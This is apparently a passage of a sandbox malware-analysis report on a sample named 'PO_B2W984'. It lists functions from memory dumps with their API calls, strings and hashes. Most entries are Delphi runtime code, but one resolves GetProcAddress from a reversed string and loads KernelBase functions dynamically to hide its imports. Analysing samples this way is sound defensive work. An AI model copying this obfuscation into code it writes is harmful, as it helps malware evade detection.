GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02DDA762

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 91039f575b2d446255c84316eb4a3d27fa0998d30cefffcfb9a5ad718a7383d1
Instruction ID: 86a9cae7bff6a24854ae2c9913d913b85e0c4d274ee05c81d6f8fa8eeac79c0b
Opcode Fuzzy Hash: 91039f575b2d446255c84316eb4a3d27fa0998d30cefffcfb9a5ad718a7383d1
Instruction Fuzzy Hash: AFE0D83670061427D311A6685C809F6736DD75C310F00827EBD05C7340EEB0DD444EF4

Function 02DDB70C Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,02DFC106,00000000,02DFC11E), ref: 02DDB71A

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 88651218e8fa3c7128307b3ce3e147bca076633037d5e25117ff356d2298e30a
Instruction ID: 538b1d9dba1129aeff54d352a59a625936ed174f493ed0de51ec7c5986a21743
Opcode Fuzzy Hash: 88651218e8fa3c7128307b3ce3e147bca076633037d5e25117ff356d2298e30a
Instruction Fuzzy Hash: 33F0DA74944701AFC390DF28D540B1977E6FB49718F014969E69ACB380E734DC14CF9A

Function 02DDA790 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,02DDBDF2,00000000,02DDC00B,?,?,00000000,00000000), ref: 02DDA7A3

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 247628b8c1feb2e7e236466855a8f0c303f798d01677e0f323818b1e94eef0a4
Instruction ID: 9186296488ea05fbad127abae63c5d120e0e45f87761990acb2824bda7d9fb4d
Opcode Fuzzy Hash: 247628b8c1feb2e7e236466855a8f0c303f798d01677e0f323818b1e94eef0a4
Instruction Fuzzy Hash: 6FD05EAA30E6A03AA220915A2D84D7B5AFCCAC57A1F00807EF588C6300D204CC05D6F1

Function 02DD918C Relevance: 1.5, APIs: 1, Instructions: 6timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 02DD9190

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: LocalTime
String ID:
API String ID: 481472006-0
Opcode ID: 826dc02cb97be1f30314bd8e5388bcaace96657751e1fb4d4dbee66b4f4147a3
Instruction ID: eaab84ad9bc3567071d0163a5fc3ae38943ab10a6fbb6f89fea695eb50e734e0
Opcode Fuzzy Hash: 826dc02cb97be1f30314bd8e5388bcaace96657751e1fb4d4dbee66b4f4147a3
Instruction Fuzzy Hash: AFA01108808C20028A803B280C0223A3088A800A20FC80F80A8F8803E0EE2E8A2080E3

Function 02DD20C4 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction ID: d9ca5c35b085eece62e9f9345e2df5b5b2dbbbf6d6fdc43b5a6e4acac797e09a
Opcode Fuzzy Hash: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction Fuzzy Hash: 44317E3213659B4EC7088B3CC8514ADAB93BE937353A843B7C071CB5D7D7B5A26E8290

Function 02DDD214 Relevance: 42.1, APIs: 1, Strings: 23, Instructions: 141COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(oleaut32.dll), ref: 02DDD21D

Part of subcall function 02DDD1E8: GetProcAddress.KERNEL32(00000000), ref: 02DDD201

Strings

VarBstrFromCy, xrefs: 02DDD3CD
VarBoolFromStr, xrefs: 02DDD3B7
VarR4FromStr, xrefs: 02DDD35F
VarAnd, xrefs: 02DDD2F1
VarR8FromStr, xrefs: 02DDD375
VarAdd, xrefs: 02DDD26D
VarMod, xrefs: 02DDD2DB
VarBstrFromDate, xrefs: 02DDD3E3
VariantChangeTypeEx, xrefs: 02DDD22B
VarNeg, xrefs: 02DDD241
VarCmp, xrefs: 02DDD333
oleaut32.dll, xrefs: 02DDD218
VarMul, xrefs: 02DDD299
VarOr, xrefs: 02DDD307
VarI4FromStr, xrefs: 02DDD349
VarIdiv, xrefs: 02DDD2C5
VarCyFromStr, xrefs: 02DDD3A1
VarXor, xrefs: 02DDD31D
VarBstrFromBool, xrefs: 02DDD3F9
VarDateFromStr, xrefs: 02DDD38B
VarSub, xrefs: 02DDD283
VarDiv, xrefs: 02DDD2AF
VarNot, xrefs: 02DDD257

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: VarAdd$VarAnd$VarBoolFromStr$VarBstrFromBool$VarBstrFromCy$VarBstrFromDate$VarCmp$VarCyFromStr$VarDateFromStr$VarDiv$VarI4FromStr$VarIdiv$VarMod$VarMul$VarNeg$VarNot$VarOr$VarR4FromStr$VarR8FromStr$VarSub$VarXor$VariantChangeTypeEx$oleaut32.dll
API String ID: 1646373207-1918263038
Opcode ID: b24ae43bbb3ef637a519c75764fc19d11d437f4a66882346e8e09617da90da9a
Instruction ID: f23d3bf752105fea88a72eb518a92acae910513a636117988e0f48bb24fe71af
Opcode Fuzzy Hash: b24ae43bbb3ef637a519c75764fc19d11d437f4a66882346e8e09617da90da9a
Instruction Fuzzy Hash: 6E41B463AD4A0C5F9E086AAE78044677BAFE788711BE0441FF41CCB744DE20BD919E79

Function 02DE6E58 Relevance: 24.5, APIs: 7, Strings: 7, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ole32.dll), ref: 02DE6E5E
GetProcAddress.KERNEL32(00000000,CoCreateInstanceEx), ref: 02DE6E6F
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 02DE6E7F
GetProcAddress.KERNEL32(00000000,CoAddRefServerProcess), ref: 02DE6E8F
GetProcAddress.KERNEL32(00000000,CoReleaseServerProcess), ref: 02DE6E9F
GetProcAddress.KERNEL32(00000000,CoResumeClassObjects), ref: 02DE6EAF
GetProcAddress.KERNEL32 ref: 02DE6EBF

Strings

CoSuspendClassObjects, xrefs: 02DE6EB9
CoAddRefServerProcess, xrefs: 02DE6E89
CoInitializeEx, xrefs: 02DE6E79
CoCreateInstanceEx, xrefs: 02DE6E69
ole32.dll, xrefs: 02DE6E59
CoReleaseServerProcess, xrefs: 02DE6E99
CoResumeClassObjects, xrefs: 02DE6EA9

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: CoAddRefServerProcess$CoCreateInstanceEx$CoInitializeEx$CoReleaseServerProcess$CoResumeClassObjects$CoSuspendClassObjects$ole32.dll
API String ID: 667068680-2233174745
Opcode ID: 4bc62594737b6ec77ed478ef6a0a4f5b13c56f7dff77628337c21925eb95ff84
Instruction ID: 46b0cf093c1d35c5de29b83978bde85653c5862471fa3f5fc27a6f1edb042ecd
Opcode Fuzzy Hash: 4bc62594737b6ec77ed478ef6a0a4f5b13c56f7dff77628337c21925eb95ff84
Instruction Fuzzy Hash: 21F0ACA8A8C7916EFB407F70FC8292B3B5ED530A04B0058A5B50359742DAB5DC184FF8

Function 02DD2530 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 254windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,?,Unexpected Memory Leak,00002010), ref: 02DD28CE

Strings

The sizes of unexpected leaked medium and large blocks are: , xrefs: 02DD2849
String, xrefs: 02DD27A1
An unexpected memory leak has occurred. , xrefs: 02DD2690
bytes: , xrefs: 02DD275D
Unexpected Memory Leak, xrefs: 02DD28C0
The unexpected small block leaks are:, xrefs: 02DD2707
, xrefs: 02DD2814
Unknown, xrefs: 02DD278C
7, xrefs: 02DD26A1

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: Message
String ID: $ bytes: $7$An unexpected memory leak has occurred. $String$The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak$Unknown
API String ID: 2030045667-32948583
Opcode ID: 8decf439a24b4871940ce7f0b791c8976f88c4c945108fbe64598af1d99e79ee
Instruction ID: ab466a50c7faaaaccbdf472c6ecf01e3e23a103df14d9b16679b865cd8183cfd
Opcode Fuzzy Hash: 8decf439a24b4871940ce7f0b791c8976f88c4c945108fbe64598af1d99e79ee
Instruction Fuzzy Hash: 41A1E730A047948BDB21AA2CCC88B99B6E5EB09350F1441E5DD499B387CB759DC9CF61

Function 02DD252E Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 188COMMON

Download Yara Rule

Strings

The sizes of unexpected leaked medium and large blocks are: , xrefs: 02DD2849
An unexpected memory leak has occurred. , xrefs: 02DD2690
bytes: , xrefs: 02DD275D
Unexpected Memory Leak, xrefs: 02DD28C0
The unexpected small block leaks are:, xrefs: 02DD2707
, xrefs: 02DD2814
7, xrefs: 02DD26A1

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID:
String ID: $ bytes: $7$An unexpected memory leak has occurred. $The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak
API String ID: 0-2723507874
Opcode ID: f4f8972f695a90c5ee9e526ad140149f8006527f3b86a6e2ef1a74cf990952be
Instruction ID: 4f70e3fbea8b93968d6acca892fe3910b3efa1068baf2297163c0121a12cee86
Opcode Fuzzy Hash: f4f8972f695a90c5ee9e526ad140149f8006527f3b86a6e2ef1a74cf990952be
Instruction Fuzzy Hash: 9571C530A046988FDB319A2CCC88BD9BAE5EB09714F5041E5D949D7383DB758EC5CF61

Function 02DDBD40 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,02DDC00B,?,?,00000000,00000000), ref: 02DDBD76

Part of subcall function 02DDA744: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02DDA762

Strings

m/d/yy, xrefs: 02DDBE45
mmmm d, yyyy, xrefs: 02DDBE72
AMPM, xrefs: 02DDBF8A
:mm, xrefs: 02DDBFA9
:mm:ss, xrefs: 02DDBFC6
AMPM , xrefs: 02DDBF99

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: Locale$InfoThread
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 4232894706-2493093252
Opcode ID: db0daa7cc2df13e18052742ad6390b175e13dfb1898e76905786d8802d372cd1
Instruction ID: b181894bb4eca4815c02796967b29fbf2a97bc403fd111841fc60edbc0f7f8c3
Opcode Fuzzy Hash: db0daa7cc2df13e18052742ad6390b175e13dfb1898e76905786d8802d372cd1
Instruction Fuzzy Hash: 66615E34B50A48ABDB05EBA4D850B9FB7BBDF88304F60D436A101AB345DA39DD05DBB0

Function 02DEAE18 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 102COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004), ref: 02DEAE38
GetModuleHandleW.KERNEL32(KernelBase,LoadLibraryExA,?,00000004,?,00000014), ref: 02DEAE4F
IsBadReadPtr.KERNEL32(?,00000004), ref: 02DEAEE3
IsBadReadPtr.KERNEL32(?,00000002), ref: 02DEAEEF
IsBadReadPtr.KERNEL32(?,00000014), ref: 02DEAF03

Strings

LoadLibraryExA, xrefs: 02DEAE45
KernelBase, xrefs: 02DEAE4A

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: Read$HandleModule
String ID: KernelBase$LoadLibraryExA
API String ID: 2226866862-113032527
Opcode ID: 80d8cbae50d1cb3fe38f79d90bb7f850df3f4d8ff762d321582f2c91f2967e4e
Instruction ID: 82d6934b3936d7aaaa799fb14a307c0906f0e689cb02937fe8572062069bf403
Opcode Fuzzy Hash: 80d8cbae50d1cb3fe38f79d90bb7f850df3f4d8ff762d321582f2c91f2967e4e
Instruction Fuzzy Hash: 613119B6A40206BBDF20EB68DC85F5A77A8EF05768F044550EA56EB3C0D770ED40DBA1

Function 02DD432C Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02DD43F3,?,?,02E307C8,?,?,02DFD7A8,02DD655D,02DFC30D), ref: 02DD4365
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02DD43F3,?,?,02E307C8,?,?,02DFD7A8,02DD655D,02DFC30D), ref: 02DD436B
GetStdHandle.KERNEL32(000000F5,02DD43B4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02DD43F3,?,?,02E307C8), ref: 02DD4380
WriteFile.KERNEL32(00000000,000000F5,02DD43B4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02DD43F3,?,?), ref: 02DD4386
MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 02DD43A4

Strings

Runtime error at 00000000, xrefs: 02DD435E, 02DD439D
Error, xrefs: 02DD4398

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: FileHandleWrite$Message
String ID: Error$Runtime error at 00000000
API String ID: 1570097196-2970929446
Opcode ID: da0e17cd9ba312b33d09c5d826ad270a7eef381f6964e1767c96245445169a18
Instruction ID: 9e9aade0a2a8dc555847e357a342d19404a7bcbaa2801255003286378a8b7951
Opcode Fuzzy Hash: da0e17cd9ba312b33d09c5d826ad270a7eef381f6964e1767c96245445169a18
Instruction Fuzzy Hash: 59F09662AC475075F720A6A4BC46F59275DC744B14F584A04B36A682C187B0BCCDDB3A

Function 02DDAE44 Relevance: 10.6, APIs: 7, Instructions: 56filewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 02DDACBC: VirtualQuery.KERNEL32(?,?,0000001C), ref: 02DDACD9
Part of subcall function 02DDACBC: GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 02DDACFD
Part of subcall function 02DDACBC: GetModuleFileNameA.KERNEL32(02DD0000,?,00000105), ref: 02DDAD18
Part of subcall function 02DDACBC: LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 02DDADAE

CharToOemA.USER32(?,?), ref: 02DDAE7B
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,?,?), ref: 02DDAE98
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,?,?), ref: 02DDAE9E
GetStdHandle.KERNEL32(000000F4,02DDAF08,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 02DDAEB3
WriteFile.KERNEL32(00000000,000000F4,02DDAF08,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 02DDAEB9
LoadStringA.USER32(00000000,0000FFEA,?,00000040), ref: 02DDAEDB
MessageBoxA.USER32(00000000,?,?,00002010), ref: 02DDAEF1

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: File$HandleLoadModuleNameStringWrite$CharMessageQueryVirtual
String ID:
API String ID: 185507032-0
Opcode ID: 36bca8bef6ec4fbdba92eec533cb542f60865aea81de3e42b2eec080295a9c52
Instruction ID: 955aa6a9f5c596fa249957b39f4ac8e898ec2aadaf134bf152e6378fc6c88cc1
Opcode Fuzzy Hash: 36bca8bef6ec4fbdba92eec533cb542f60865aea81de3e42b2eec080295a9c52
Instruction Fuzzy Hash: 7D1170B65886047AD200EBA4DC84F9F77EDEB44300F40495AB755D62D0DA70ED488FF6

Function 02DDE50C Relevance: 9.1, APIs: 6, Instructions: 139COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 02DDE5A5
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 02DDE5C1
SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 02DDE5FA
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 02DDE677
SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 02DDE690
VariantCopy.OLEAUT32(?,00000000), ref: 02DDE6C5

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: ArraySafe$BoundIndex$CopyCreateVariant
String ID:
API String ID: 351091851-0
Opcode ID: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
Instruction ID: 4230a1e3d6f6229bed32cb3982ce5e6c3e4c99a20a39df6fe35dd904d2cf301e
Opcode Fuzzy Hash: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
Instruction Fuzzy Hash: 0B51ED76940A299BCB22DB68CC80BD9B3BDEF4D304F0445D5E609AB341DA30AF858F60

Function 02DD3568 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 02DD358A
RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,02DD35D9,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 02DD35BD
RegCloseKey.ADVAPI32(?,02DD35E0,00000000,?,00000004,00000000,02DD35D9,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 02DD35D3

Strings

SOFTWARE\Borland\Delphi\RTL, xrefs: 02DD3580
FPUMaskValue, xrefs: 02DD35B4

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 3677997916-4173385793
Opcode ID: fb2526fa1594f2f6fa983b35539bcbc93f8a3b442016c6495bb7f3c8a884a9cc
Instruction ID: c5719e73e599a7a1e6e478f5ae43519819f16b62bd67d46a0aca942124336689
Opcode Fuzzy Hash: fb2526fa1594f2f6fa983b35539bcbc93f8a3b442016c6495bb7f3c8a884a9cc
Instruction Fuzzy Hash: 5901F575A40648BAE710DBD09C02BBD77ECD708701F2005A1BA04E6780E675DE10CF69

Function 02DE80C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 44libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02DE8148,?,?,00000000,00000000,?,02DE8061,00000000,KernelBASE,00000000,00000000,02DE8088), ref: 02DE810D
GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02DE8113
GetProcAddress.KERNEL32(?,?), ref: 02DE8125

Strings

sserddAcorPteG, xrefs: 02DE80DB
Kernel32, xrefs: 02DE8108

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
